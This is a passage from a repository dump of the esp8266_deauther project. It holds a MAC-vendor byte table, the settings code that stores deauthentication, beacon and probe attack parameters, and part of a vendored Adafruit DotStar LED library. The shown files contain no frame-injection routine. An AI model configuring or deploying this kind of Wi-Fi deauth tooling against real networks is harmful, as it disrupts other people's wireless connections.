0xcf, 0x09,\r\n0xFC, 0xD8, 0x17, 0x93, 0x15,\r\n0xFC, 0xD8, 0x48, 0x51, 0x03,\r\n0xFC, 0xDB, 0x96, 0xaa, 0x3a,\r\n0xFC, 0xDB, 0xB3, 0xd4, 0x0c,\r\n0xFC, 0xDC, 0x4A, 0xab, 0x3a,\r\n0xFC, 0xDD, 0x55, 0xe9, 0x01,\r\n0xFC, 0xE1, 0x86, 0xac, 0x3a,\r\n0xFC, 0xE1, 0x92, 0x0b, 0x1d,\r\n0xFC, 0xE1, 0xD9, 0xad, 0x3a,\r\n0xFC, 0xE1, 0xFB, 0xae, 0x3a,\r\n0xFC, 0xE2, 0x3F, 0xaf, 0x3a,\r\n0xFC, 0xE3, 0x3C, 0xda, 0x14,\r\n0xFC, 0xE5, 0x57, 0x4f, 0x12,\r\n0xFC, 0xE6, 0x6A, 0xf6, 0x09,\r\n0xFC, 0xE8, 0x92, 0x10, 0x0e,\r\n0xFC, 0xE9, 0x98, 0x51, 0x03,\r\n0xFC, 0xEC, 0xDA, 0x84, 0x12,\r\n0xFC, 0xED, 0xB9, 0xb0, 0x3a,\r\n0xFC, 0xEE, 0xE6, 0xb1, 0x3a,\r\n0xFC, 0xF1, 0x36, 0x4f, 0x02,\r\n0xFC, 0xF1, 0x52, 0x34, 0x01,\r\n0xFC, 0xF1, 0xCD, 0xb2, 0x3a,\r\n0xFC, 0xF5, 0x28, 0xc6, 0x10,\r\n0xFC, 0xF6, 0x47, 0x54, 0x1f,\r\n0xFC, 0xF8, 0xAE, 0x80, 0x10,\r\n0xFC, 0xF8, 0xB7, 0xb3, 0x3a,\r\n0xFC, 0xFA, 0xF7, 0x0e, 0x03,\r\n0xFC, 0xFB, 0xFB, 0x05, 0x00,\r\n0xFC, 0xFC, 0x48, 0x51, 0x03,\r\n0xFC, 0xFE, 0x77, 0xb4, 0x3a,\r\n0xFC, 0xFE, 0xC2, 0xd3, 0x1a,\r\n0xFC, 0xFF, 0xAA, 0x57, 0x17\r\n#endif\r\n};\r\n#endif"
  },
  {
    "path": "esp8266_deauther/settings.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"settings.h\"\n\n#include \"A_config.h\"     // Default Settings\n#include \"language.h\"     // prnt and prntln\n#include \"EEPROMHelper.h\" // To load and save settings_t\n#include \"debug.h\"\n\n#define MAGIC_NUM 3416245\n\nextern bool writeFile(String path, String& buf);\nextern void getRandomMac(uint8_t* mac);\nextern bool macValid(uint8_t* mac);\n\n#define JSON_FLAG(_NAME, _VALUE)\\\n    str += String('\"') + String(FPSTR(_NAME)) + String(F(\"\\\":\")) + String(_VALUE ? \"true\" : \"false\") + String(',');\n\n#define JSON_VALUE(_NAME, _VALUE)\\\n    str += String('\"') + String(FPSTR(_NAME)) + String(F(\"\\\":\\\"\")) + String(_VALUE) + String(F(\"\\\",\"));\n\n#define JSON_INT(_NAME, _VALUE)\\\n    str += String('\"') + String(FPSTR(_NAME)) + String(F(\"\\\":\")) + String(_VALUE) + String(',');\n\n#define JSON_HEX(_NAME, _BYTES, _LEN)\\\n    str += String('\"') + String(FPSTR(_NAME)) + String(F(\"\\\":\\\"\"));\\\n    for (int i = 0; i<_LEN; i++) {\\\n        if (i > 0) str            += ':';\\\n        if (_BYTES[i] < 0x10) str += '0';\\\n        str                       += String(_BYTES[i], HEX);\\\n    }\\\n    str += String(F(\"\\\",\"));\n\n#define JSON_DEC(_NAME, _BYTES, _LEN)\\\n    str += String(F(\"\\\"\")) + String(FPSTR(_NAME)) + String(F(\"\\\":\\\"\"));\\\n    for (int i = 0; i<_LEN; i++) {\\\n        if (i > 0) str += '.';\\\n        str            += String(_BYTES[i]);\\\n    }\\\n    str += String(F(\"\\\",\"));\n\n\nnamespace settings {\n    // ========== PRIVATE ========== //\n    const char* SETTINGS_PATH = \"/settings.json\";\n\n    settings_t data;\n    bool changed = false;\n\n    void get_json(String& str) {\n        str = String();\n        str.reserve(600);\n\n        str += '{';\n\n        // Version\n        JSON_VALUE(S_JSON_VERSION, DEAUTHER_VERSION);\n\n        // Autosave\n        JSON_FLAG(S_JSON_AUTOSAVE, data.autosave.enabled);\n        JSON_INT(S_JSON_AUTOSAVETIME, data.autosave.time);\n\n        // Attack\n        JSON_FLAG(S_JSON_BEACONCHANNEL, data.attack.attack_all_ch);\n        JSON_FLAG(S_JSON_RANDOMTX, data.attack.random_tx);\n        JSON_INT(S_JSON_ATTACKTIMEOUT, data.attack.timeout);\n        JSON_INT(S_JSON_DEAUTHSPERTARGET, data.attack.deauths_per_target);\n        JSON_INT(S_JSON_DEAUTHREASON, data.attack.deauth_reason);\n        JSON_FLAG(S_JSON_BEACONINTERVAL, data.attack.beacon_interval == INTERVAL_1S);\n        JSON_INT(S_JSON_PROBESPERSSID, data.attack.probe_frames_per_ssid);\n\n        // WiFi\n        JSON_INT(S_JSON_CHANNEL, data.wifi.channel);\n        JSON_HEX(S_JSON_MACST, data.wifi.mac_st, 6);\n        JSON_HEX(S_JSON_MACAP, data.wifi.mac_ap, 6);\n\n        // Sniffer\n        JSON_INT(S_JSON_CHTIME, data.sniffer.channel_time);\n        JSON_INT(S_JSON_MIN_DEAUTHS, data.sniffer.min_deauth_frames);\n\n        // Access Point\n        JSON_VALUE(S_JSON_SSID, data.ap.ssid);\n        JSON_VALUE(S_JSON_PASSWORD, data.ap.password);\n        JSON_FLAG(S_JSON_HIDDEN, data.ap.hidden);\n        JSON_DEC(S_JSON_IP, data.ap.ip, 4);\n\n        // Web Interface\n        JSON_FLAG(S_JSON_WEBINTERFACE, data.web.enabled);\n        JSON_FLAG(S_JSON_CAPTIVEPORTAL, data.web.captive_portal);\n        JSON_FLAG(S_JSON_WEB_SPIFFS, data.web.use_spiffs);\n        JSON_VALUE(S_JSON_LANG, data.web.lang);\n\n        // CLI\n        JSON_FLAG(S_JSON_SERIALINTERFACE, data.cli.enabled);\n        JSON_FLAG(S_JSON_SERIAL_ECHO, data.cli.serial_echo);\n\n        // LED\n        JSON_FLAG(S_JSON_LEDENABLED, data.led.enabled);\n\n        // Display\n        JSON_FLAG(S_JSON_DISPLAYINTERFACE, data.display.enabled);\n        JSON_INT(S_JSON_DISPLAY_TIMEOUT, data.display.timeout);\n\n        str.setCharAt(str.length()-1, '}');\n    }\n\n    // ========== PUBLIC ========== //\n    void load() {\n        debugF(\"Loading settings...\");\n\n        // read data from eeproms\n        settings_t newData;\n\n        EEPROMHelper::getObject(SETTINGS_ADDR, newData);\n\n        // calc and check hash\n        if (newData.magic_num == MAGIC_NUM) {\n            data                  = newData;\n            data.version.major    = DEAUTHER_VERSION_MAJOR;\n            data.version.minor    = DEAUTHER_VERSION_MINOR;\n            data.version.revision = DEAUTHER_VERSION_REVISION;\n            debuglnF(\"OK\");\n            save();\n        } else {\n            debuglnF(\"Invalid Hash\");\n\n            /*debug(data.magic_num);\n               debugF(\" != \");\n               debugln(MAGIC_NUM);*/\n\n            reset();\n            save();\n        }\n\n        // check and fix mac\n        if (!macValid(data.wifi.mac_st)) getRandomMac(data.wifi.mac_st);\n        if (!macValid(data.wifi.mac_ap)) getRandomMac(data.wifi.mac_ap);\n\n        changed = true;\n    }\n\n    void reset() {\n        data.magic_num = MAGIC_NUM;\n\n        data.version.major    = DEAUTHER_VERSION_MAJOR;\n        data.version.minor    = DEAUTHER_VERSION_MINOR;\n        data.version.revision = DEAUTHER_VERSION_REVISION;\n\n        data.attack.attack_all_ch         = ATTACK_ALL_CH;\n        data.attack.random_tx             = RANDOM_TX;\n        data.attack.timeout               = ATTACK_TIMEOUT;\n        data.attack.deauths_per_target    = DEAUTHS_PER_TARGET;\n        data.attack.deauth_reason         = DEAUTH_REASON;\n        data.attack.beacon_interval       = beacon_interval_t::INTERVAL_100MS;\n        data.attack.probe_frames_per_ssid = PROBE_FRAMES_PER_SSID;\n\n        data.wifi.channel = 1;\n        getRandomMac(data.wifi.mac_st);\n        getRandomMac(data.wifi.mac_ap);\n\n        data.sniffer.channel_time      = CH_TIME;\n        data.sniffer.min_deauth_frames = MIN_DEAUTH_FRAMES;\n\n        strncpy(data.ap.ssid, AP_SSID, 32);\n        strncpy(data.ap.password, AP_PASSWD, 64);\n        data.ap.hidden = AP_HIDDEN;\n        uint8_t ip[4] = AP_IP_ADDR;\n\n        memcpy(data.ap.ip, ip, 4);\n\n        data.web.enabled        = WEB_ENABLED;\n        data.web.captive_portal = WEB_CAPTIVE_PORTAL;\n        data.web.use_spiffs     = WEB_USE_SPIFFS;\n        memcpy(data.web.lang, DEFAULT_LANG, 3);\n\n        data.cli.enabled     = CLI_ENABLED;\n        data.cli.serial_echo = CLI_ECHO;\n\n        data.led.enabled = USE_LED;\n\n        data.display.enabled = USE_DISPLAY;\n        data.display.timeout = DISPLAY_TIMEOUT;\n\n        changed = true;\n\n        debuglnF(\"Settings reset to default\");\n    }\n\n    void save(bool force) {\n        if (force || changed) {\n            EEPROMHelper::saveObject(SETTINGS_ADDR, data);\n\n            changed = false;\n\n            String json_buffer;\n            get_json(json_buffer);\n\n            if (writeFile(SETTINGS_PATH, json_buffer)) {\n                debugF(\"Settings saved in \");\n            } else {\n                debugF(\"ERROR: saving \");\n            }\n\n            debugln(SETTINGS_PATH);\n        }\n    }\n\n    void print() {\n        String json_buffer;\n\n        get_json(json_buffer);\n\n        json_buffer.replace(\"\\\":\", \": \");\n        json_buffer.replace(\": 0\\r\\n\", \": false\\r\\n\");\n        json_buffer.replace(\": 1\\r\\n\", \": true\\r\\n\");\n        json_buffer.replace(\"\\\"\", \"\");\n        json_buffer.replace(\"{\", \"\");\n        json_buffer.replace(\"}\", \"\");\n        json_buffer.replace(\",\", \"\\r\\n\");\n\n        debuglnF(\"[========== Settings ==========]\");\n        debugln(json_buffer);\n    }\n\n    // ===== GETTERS ===== //\n\n    const settings_t& getAllSettings() {\n        return data;\n    }\n\n    const version_t& getVersion() {\n        return data.version;\n    }\n\n    const autosave_settings_t& getAutosaveSettings() {\n        return data.autosave;\n    }\n\n    const attack_settings_t& getAttackSettings() {\n        return data.attack;\n    }\n\n    const wifi_settings_t& getWifiSettings() {\n        return data.wifi;\n    }\n\n    const sniffer_settings_t& getSnifferSettings() {\n        return data.sniffer;\n    }\n\n    const access_point_settings_t& getAccessPointSettings() {\n        return data.ap;\n    }\n\n    const web_settings_t& getWebSettings() {\n        return data.web;\n    }\n\n    const cli_settings_t& getCLISettings() {\n        return data.cli;\n    }\n\n    const led_settings_t& getLEDSettings() {\n        return data.led;\n    }\n\n    const display_settings_t& getDisplaySettings() {\n        return data.display;\n    }\n\n    // ===== SETTERS ===== //\n\n    void setAllSettings(settings_t& newSettings) {\n        newSettings.version = data.version;\n        data                = newSettings;\n        changed             = true;\n    }\n\n    void setAutosaveSettings(const autosave_settings_t& autosave) {\n        data.autosave = autosave;\n        changed       = true;\n    }\n\n    void setAttackSettings(const attack_settings_t& attack) {\n        data.attack = attack;\n        changed     = true;\n    }\n\n    void setWifiSettings(const wifi_settings_t& wifi) {\n        data.wifi = wifi;\n        changed   = true;\n    }\n\n    void setSnifferSettings(const sniffer_settings_t& sniffer) {\n        data.sniffer = sniffer;\n        changed      = true;\n    }\n\n    void setAccessPointSettings(const access_point_settings_t& ap) {\n        data.ap = ap;\n        changed = true;\n    }\n\n    void setWebSettings(const web_settings_t& web) {\n        data.web = web;\n        changed  = true;\n    }\n\n    void setCLISettings(const cli_settings_t& cli) {\n        data.cli = cli;\n        changed  = true;\n    }\n\n    void setLEDSettings(const led_settings_t& led) {\n        data.led = led;\n        changed  = true;\n    }\n\n    void setDisplaySettings(const display_settings_t& display) {\n        data.display = display;\n        changed      = true;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/settings.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include <Arduino.h> // Arduino String, Serial\n#include \"A_config.h\"\n\n// ===== VERSION ===== //\ntypedef struct version_t {\n    uint8_t major;\n    uint8_t minor;\n    uint8_t revision;\n} version_t;\n\n// ===== AUTOSAVE ===== //\ntypedef struct autosave_settings_t {\n    bool     enabled;\n    uint32_t time;\n} autosave_t;\n\n// ===== ATTACK ===== //\ntypedef enum beacon_interval_t {\n    INTERVAL_1S    = 0,\n    INTERVAL_100MS = 1\n} beacon_interval_t;\n\ntypedef struct attack_settings_t {\n    // General\n    bool     attack_all_ch;\n    bool     random_tx;\n    uint32_t timeout;\n\n    // Deauth\n    uint8_t deauths_per_target;\n    uint8_t deauth_reason;\n\n    // Beacon\n    beacon_interval_t beacon_interval;\n\n    // Probe\n    uint8_t probe_frames_per_ssid;\n} attack_settings_t;\n\n// ====== WIFI ====== //\ntypedef struct wifi_settings_t {\n    uint8_t channel;\n    uint8_t mac_st[6];\n    uint8_t mac_ap[6];\n} wifi_settings_t;\n\n// ===== SNIFFER ===== //\ntypedef struct sniffer_settings_t {\n    uint16_t channel_time;\n    uint16_t min_deauth_frames;\n} sniffer_settings_t;\n\n// ===== ACCESS POINT ===== //\ntypedef struct access_point_settings_t {\n    char    ssid[33];\n    char    password[65];\n    bool    hidden;\n    uint8_t ip[4];\n} access_point_settings_t;\n\n// ===== WEB INTERFACE ===== //\ntypedef struct web_settings_t {\n    bool enabled;\n    bool captive_portal;\n    bool use_spiffs;\n    char lang[3];\n} web_settings_t;\n\n// ===== CLI ===== //\ntypedef struct cli_settings_t {\n    bool enabled;\n    bool serial_echo;\n} cli_settings_t;\n\n// ===== LED ===== //\ntypedef struct led_settings_t {\n    bool enabled;\n} led_settings_t;\n\n// ===== DISPLAY ===== //\ntypedef struct display_settings_t {\n    bool     enabled;\n    uint32_t timeout;\n} display_settings_t;\n\n// ===== SETTINGS ===== //\ntypedef struct settings_t {\n    uint32_t                magic_num;\n    version_t               version;\n    autosave_settings_t     autosave;\n    attack_settings_t       attack;\n    wifi_settings_t         wifi;\n    sniffer_settings_t      sniffer;\n    access_point_settings_t ap;\n    web_settings_t          web;\n    cli_settings_t          cli;\n    led_settings_t          led;\n    display_settings_t      display;\n} settings_t;\n\nnamespace settings {\n    void load();\n    void save(bool force = false);\n\n    void reset();\n    void print();\n\n    const settings_t& getAllSettings();\n    const version_t& getVersion();\n    const autosave_settings_t& getAutosaveSettings();\n    const attack_settings_t& getAttackSettings();\n    const wifi_settings_t& getWifiSettings();\n    const sniffer_settings_t& getSnifferSettings();\n    const access_point_settings_t& getAccessPointSettings();\n    const web_settings_t& getWebSettings();\n    const cli_settings_t& getCLISettings();\n    const led_settings_t& getLEDSettings();\n    const display_settings_t& getDisplaySettings();\n\n    void setAllSettings(settings_t& settings);\n    void setAutosaveSettings(const autosave_settings_t& autosave);\n    void setAttackSettings(const attack_settings_t& attack);\n    void setWifiSettings(const wifi_settings_t& wifi);\n    void setSnifferSettings(const sniffer_settings_t& sniffer);\n    void setAccessPointSettings(const access_point_settings_t& ap);\n    void setWebSettings(const web_settings_t& web);\n    void setCLISettings(const cli_settings_t& cli);\n    void setLEDSettings(const led_settings_t& led);\n    void setDisplaySettings(const display_settings_t& display);\n}"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.cpp",
    "content": "/*!\n * @file Adafruit_DotStar.cpp\n *\n * @mainpage Arduino Library for driving Adafruit DotStar addressable LEDs\n * and compatible devicess -- APA102, etc.\n *\n * @section intro_sec Introduction\n *\n * This is the documentation for Adafruit's DotStar library for the\n * Arduino platform, allowing a broad range of microcontroller boards\n * (most AVR boards, many ARM devices, ESP8266 and ESP32, among others)\n * to control Adafruit DotStars and compatible devices -- APA102, etc.\n *\n * Adafruit invests time and resources providing this open source code,\n * please support Adafruit and open-source hardware by purchasing products\n * from Adafruit!\n *\n * @section author Author\n *\n * Written by Limor Fried and Phil Burgess for Adafruit Industries with\n * contributions from members of the open source community.\n *\n * @section license License\n *\n * This file is part of the Adafruit_DotStar library.\n *\n * Adafruit_DotStar is free software: you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Adafruit_DotStar is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with DotStar. If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\n#include \"Adafruit_DotStar.h\"\n#if !defined(__AVR_ATtiny85__)\n#include <SPI.h>\n#endif\n\n#define USE_HW_SPI 255 ///< Assigned to dataPin to indicate 'hard' SPI\n\n/*!\n  @brief   DotStar constructor for hardware SPI. Must be connected to\n           MOSI, SCK pins.\n  @param   n  Number of DotStars in strand.\n  @param   o  Pixel type -- one of the DOTSTAR_* constants defined in\n              Adafruit_DotStar.h, for example DOTSTAR_BRG for DotStars\n              expecting color bytes expressed in blue, red, green order\n              per pixel. Default if unspecified is DOTSTAR_BRG.\n  @return  Adafruit_DotStar object. Call the begin() function before use.\n*/\nAdafruit_DotStar::Adafruit_DotStar(uint16_t n, uint8_t o)\n    : numLEDs(n), dataPin(USE_HW_SPI), brightness(0), pixels(NULL),\n      rOffset(o & 3), gOffset((o >> 2) & 3), bOffset((o >> 4) & 3) {\n  updateLength(n);\n}\n\n/*!\n  @brief   DotStar constructor for 'soft' (bitbang) SPI. Any two pins\n           can be used.\n  @param   n      Number of DotStars in strand.\n  @param   data   Arduino pin number for data out.\n  @param   clock  Arduino pin number for clock out.\n  @param   o      Pixel type -- one of the DOTSTAR_* constants defined in\n                  Adafruit_DotStar.h, for example DOTSTAR_BRG for DotStars\n                  expecting color bytes expressed in blue, red, green order\n                  per pixel. Default if unspecified is DOTSTAR_BRG.\n  @return  Adafruit_DotStar object. Call the begin() function before use.\n*/\nAdafruit_DotStar::Adafruit_DotStar(uint16_t n, uint8_t data, uint8_t clock,\n                                   uint8_t o)\n    : dataPin(data), clockPin(clock), brightness(0), pixels(NULL),\n      rOffset(o & 3), gOffset((o >> 2) & 3), bOffset((o >> 4) & 3) {\n  updateLength(n);\n}\n\n/*!\n  @brief   Deallocate Adafruit_DotStar object, set data and clock pins\n           back to INPUT.\n*/\nAdafruit_DotStar::~Adafruit_DotStar(void) {\n  free(pixels);\n  if (dataPin == USE_HW_SPI)\n    hw_spi_end();\n  else\n    sw_spi_end();\n}\n\n/*!\n  @brief   Initialize Adafruit_DotStar object -- sets data and clock pins\n           to outputs and initializes hardware SPI if necessary.\n*/\nvoid Adafruit_DotStar::begin(void) {\n  if (dataPin == USE_HW_SPI)\n    hw_spi_init();\n  else\n    sw_spi_init();\n}\n\n// Pins may be reassigned post-begin(), so a sketch can store hardware\n// config in flash, SD card, etc. rather than hardcoded. Also permits\n// \"recycling\" LED ram across multiple strips: set pins to first strip,\n// render & write all data, reassign pins to next strip, render & write,\n// etc. They won't update simultaneously, but usually unnoticeable.\n\n/*!\n  @brief   Switch over to hardware SPI. DotStars must be connected to\n           MOSI, SCK pins. Data in pixel buffer is unaffected and can\n           continue to be used.\n*/\nvoid Adafruit_DotStar::updatePins(void) {\n  sw_spi_end();\n  dataPin = USE_HW_SPI;\n  hw_spi_init();\n}\n\n/*!\n  @brief   Switch over to 'soft' (bitbang) SPI. DotStars can be connected\n           to any two pins. Data in pixel buffer is unaffected and can\n           continue to be used.\n  @param   data   Arduino pin number for data out.\n  @param   clock  Arduino pin number for clock out.\n*/\nvoid Adafruit_DotStar::updatePins(uint8_t data, uint8_t clock) {\n  hw_spi_end();\n  dataPin = data;\n  clockPin = clock;\n  sw_spi_init();\n}\n\n/*!\n  @brief   Change the length of a previously-declared Adafruit_DotStar\n           strip object. Old data is deallocated and new data is cleared.\n           Pin numbers and pixel format are unchanged.\n  @param   n  New length of strip, in pixels.\n  @note    This function is deprecated, here only for old projects that\n           may still be calling it. New projects should instead use the\n           'new' keyword.\n*/\nvoid Adafruit_DotStar::updateLength(uint16_t n) {\n  free(pixels);\n  uint16_t bytes = (rOffset == gOffset)\n                       ? n + ((n + 3) / 4)\n                       :      // MONO: 10 bits/pixel, round up to next byte\n                       n * 3; // COLOR: 3 bytes/pixel\n  if ((pixels = (uint8_t *)malloc(bytes))) {\n    numLEDs = n;\n    clear();\n  } else {\n    numLEDs = 0;\n  }\n}\n\n// SPI STUFF ---------------------------------------------------------------\n\n/*!\n  @brief   Initialize hardware SPI.\n  @note    This library is written in pre-SPI-transactions style and needs\n           some rewriting to correctly share the SPI bus with other devices.\n*/\nvoid Adafruit_DotStar::hw_spi_init(void) { // Initialize hardware SPI\n#ifdef __AVR_ATtiny85__\n  PORTB &= ~(_BV(PORTB1) | _BV(PORTB2)); // Outputs\n  DDRB |= _BV(PORTB1) | _BV(PORTB2);     // DO (NOT MOSI) + SCK\n#elif (SPI_INTERFACES_COUNT > 0) || !defined(SPI_INTERFACES_COUNT)\n  SPI.begin();\n  // Hardware SPI clock speeds are chosen to run at roughly 1-8 MHz for most\n  // boards, providing a slower but more reliable experience by default.  If\n  // you want faster LED updates, experiment with the clock speeds to find\n  // what works best with your particular setup.\n#if defined(__AVR__) || defined(CORE_TEENSY) || defined(__ARDUINO_ARC__) ||    \\\n    defined(__ARDUINO_X86__)\n  SPI.setClockDivider(SPI_CLOCK_DIV2); // 8 MHz (6 MHz on Pro Trinket 3V)\n#else\n#ifdef ESP8266\n  SPI.setFrequency(8000000L);\n#elif defined(PIC32)\n  // Use begin/end transaction to set SPI clock rate\n  SPI.beginTransaction(SPISettings(8000000, MSBFIRST, SPI_MODE0));\n  SPI.endTransaction();\n#else\n  SPI.setClockDivider((F_CPU + 4000000L) / 8000000L); // 8-ish MHz on Due\n#endif\n#endif\n  SPI.setBitOrder(MSBFIRST);\n  SPI.setDataMode(SPI_MODE0);\n#endif\n}\n\n/*!\n  @brief   Stop hardware SPI.\n*/\nvoid Adafruit_DotStar::hw_spi_end(void) {\n#ifdef __AVR_ATtiny85__\n  DDRB &= ~(_BV(PORTB1) | _BV(PORTB2)); // Inputs\n#elif (SPI_INTERFACES_COUNT > 0) || !defined(SPI_INTERFACES_COUNT)\n  SPI.end();\n#endif\n}\n\n/*!\n  @brief   Initialize 'soft' (bitbang) SPI. Data and clock pins are set\n           to outputs.\n*/\nvoid Adafruit_DotStar::sw_spi_init(void) {\n  pinMode(dataPin, OUTPUT);\n  pinMode(clockPin, OUTPUT);\n#ifdef __AVR__\n  dataPort = portOutputRegister(digitalPinToPort(dataPin));\n  clockPort = portOutputRegister(digitalPinToPort(clockPin));\n  dataPinMask = digitalPinToBitMask(dataPin);\n  clockPinMask = digitalPinToBitMask(clockPin);\n  *dataPort &= ~dataPinMask;\n  *clockPort &= ~clockPinMask;\n#else\n  digitalWrite(dataPin, LOW);\n  digitalWrite(clockPin, LOW);\n#endif\n}\n\n/*!\n  @brief   Stop 'soft' (bitbang) SPI. Data and clock pins are set to inputs.\n*/\nvoid Adafruit_DotStar::sw_spi_end() {\n  pinMode(dataPin, INPUT);\n  pinMode(clockPin, INPUT);\n}\n\n#ifdef __AVR_ATtiny85__\n\n// Teensy/Gemma-specific stuff for hardware-half-assisted SPI\n\n#define SPIBIT                                                                 \\\n  USICR = ((1 << USIWM0) | (1 << USITC));                                      \\\n  USICR =                                                                      \\\n      ((1 << USIWM0) | (1 << USITC) | (1 << USICLK)); // Clock bit tick, tock\n\nstatic void spi_out(uint8_t n) { // Clock out one byte\n  USIDR = n;\n  SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT\n}\n\n#elif (SPI_INTERFACES_COUNT > 0) || !defined(SPI_INTERFACES_COUNT)\n\n// All other boards have full-featured hardware support for SPI\n\n#define spi_out(n) (void)SPI.transfer(n) ///< Call hardware SPI function\n// Pipelining reads next byte while current byte is clocked out\n#if (defined(__AVR__) && !defined(__AVR_ATtiny85__)) || defined(CORE_TEENSY)\n#define SPI_PIPELINE\n#endif\n\n#else // no hardware spi\n#define spi_out(n) sw_spi_out(n)\n\n#endif\n\n/*!\n  @brief   Soft (bitbang) SPI write.\n  @param   n  8-bit value to transfer.\n*/\nvoid Adafruit_DotStar::sw_spi_out(uint8_t n) {\n  for (uint8_t i = 8; i--; n <<= 1) {\n#ifdef __AVR__\n    if (n & 0x80)\n      *dataPort |= dataPinMask;\n    else\n      *dataPort &= ~dataPinMask;\n    *clockPort |= clockPinMask;\n    *clockPort &= ~clockPinMask;\n#else\n    if (n & 0x80)\n      digitalWrite(dataPin, HIGH);\n    else\n      digitalWrite(dataPin, LOW);\n    digitalWrite(clockPin, HIGH);\n#if F_CPU >= 48000000\n    __asm__ volatile(\"nop \\n nop\");\n#endif\n    digitalWrite(clockPin, LOW);\n#if F_CPU >= 48000000\n    __asm__ volatile(\"nop \\n nop\");\n#endif\n#endif\n  }\n}\n\n/* ISSUE DATA TO LED STRIP -------------------------------------------------\n\n  Although the LED driver has an additional per-pixel 5-bit brightness\n  setting, it is NOT used or supported here. On APA102, the normally\n  very fast PWM is gated through a much slower PWM (about 400 Hz),\n  rendering it useless for POV or other high-speed things that are\n  probably why one is using DotStars instead of NeoPixels in the first\n  place. I'm told that some APA102 clones use current control rather than\n  PWM for this, which would be much more worthwhile. Still, no support\n  here, no plans for it. If you really can't live without it, you can fork\n  the library and add it for your own use, but any pull requests for this\n  are unlikely be merged for the foreseeable future.\n*/\n\n/*!\n  @brief   Transmit pixel data in RAM to DotStars.\n*/\nvoid Adafruit_DotStar::show(void) {\n\n  if (!pixels)\n    return;\n\n  uint8_t *ptr = pixels, i;            // -> LED data\n  uint16_t n = numLEDs;                // Counter\n  uint16_t b16 = (uint16_t)brightness; // Type-convert for fixed-point math\n\n  if (dataPin == USE_HW_SPI) {\n\n    // TO DO: modernize this for SPI transactions\n\n#ifdef SPI_PIPELINE\n    uint8_t next;\n    for (i = 0; i < 3; i++)\n      spi_out(0x00); // First 3 start-frame bytes\n    SPDR = 0x00;     // 4th is pipelined\n    do {             // For each pixel...\n      while (!(SPSR & _BV(SPIF)))\n        ;                       //  Wait for prior byte out\n      SPDR = 0xFF;              //  Pixel start\n      for (i = 0; i < 3; i++) { //  For R,G,B...\n        next = brightness ? (*ptr++ * b16) >> 8 : *ptr++; // Read, scale\n        while (!(SPSR & _BV(SPIF)))\n          ;          //   Wait for prior byte out\n        SPDR = next; //   Write scaled color\n      }\n    } while (--n);\n    while (!(SPSR & _BV(SPIF)))\n      ; // Wait for last byte out\n#else\n    for (i = 0; i < 4; i++)\n      spi_out(0x00);   // 4 byte start-frame marker\n    if (brightness) {  // Scale pixel brightness on output\n      do {             // For each pixel...\n        spi_out(0xFF); //  Pixel start\n        for (i = 0; i < 3; i++)\n          spi_out((*ptr++ * b16) >> 8); // Scale, write RGB\n      } while (--n);\n    } else {           // Full brightness (no scaling)\n      do {             // For each pixel...\n        spi_out(0xFF); //  Pixel start\n        for (i = 0; i < 3; i++)\n          spi_out(*ptr++); // Write R,G,B\n      } while (--n);\n    }\n#endif\n    // Four end-frame bytes are seemingly indistinguishable from a white\n    // pixel, and empirical testing suggests it can be left out...but it's\n    // always a good idea to follow the datasheet, in case future hardware\n    // revisions are more strict (e.g. might mandate use of end-frame\n    // before start-frame marker). i.e. let's not remove this. But after\n    // testing a bit more the suggestion is to use at least (numLeds+1)/2\n    // high values (1) or (numLeds+15)/16 full bytes as EndFrame. For details\n    // see also:\n    // https://cpldcpu.wordpress.com/2014/11/30/understanding-the-apa102-superled/\n    for (i = 0; i < ((numLEDs + 15) / 16); i++)\n      spi_out(0xFF);\n\n  } else { // Soft (bitbang) SPI\n\n    for (i = 0; i < 4; i++)\n      sw_spi_out(0);      // Start-frame marker\n    if (brightness) {     // Scale pixel brightness on output\n      do {                // For each pixel...\n        sw_spi_out(0xFF); //  Pixel start\n        for (i = 0; i < 3; i++)\n          sw_spi_out((*ptr++ * b16) >> 8); // Scale, write\n      } while (--n);\n    } else {              // Full brightness (no scaling)\n      do {                // For each pixel...\n        sw_spi_out(0xFF); //  Pixel start\n        for (i = 0; i < 3; i++)\n          sw_spi_out(*ptr++); // R,G,B\n      } while (--n);\n    }\n    for (i = 0; i < ((numLEDs + 15) / 16); i++)\n      sw_spi_out(0xFF); // End-frame marker (see note above)\n  }\n}\n\n/*!\n  @brief   Fill the whole DotStar strip with 0 / black / off.\n*/\nvoid Adafruit_DotStar::clear() {\n  memset(pixels, 0,\n         (rOffset == gOffset) ? numLEDs + ((numLEDs + 3) / 4)\n                              : // MONO: 10 bits/pixel\n             numLEDs * 3);      // COLOR: 3 bytes/pixel\n}\n\n/*!\n  @brief   Set a pixel's color using separate red, green and blue components.\n  @param   n  Pixel index, starting from 0.\n  @param   r  Red brightness, 0 = minimum (off), 255 = maximum.\n  @param   g  Green brightness, 0 = minimum (off), 255 = maximum.\n  @param   b  Blue brightness, 0 = minimum (off), 255 = maximum.\n*/\nvoid Adafruit_DotStar::setPixelColor(uint16_t n, uint8_t r, uint8_t g,\n                                     uint8_t b) {\n  if (n < numLEDs) {\n    uint8_t *p = &pixels[n * 3];\n    p[rOffset] = r;\n    p[gOffset] = g;\n    p[bOffset] = b;\n  }\n}\n\n/*!\n  @brief   Set a pixel's color using a 32-bit 'packed' RGB value.\n  @param   n  Pixel index, starting from 0.\n  @param   c  32-bit color value. Most significant byte is 0, second is\n              red, then green, and least significant byte is blue.\n              e.g. 0x00RRGGBB\n*/\nvoid Adafruit_DotStar::setPixelColor(uint16_t n, uint32_t c) {\n  if (n < numLEDs) {\n    uint8_t *p = &pixels[n * 3];\n    p[rOffset] = (uint8_t)(c >> 16);\n    p[gOffset] = (uint8_t)(c >> 8);\n    p[bOffset] 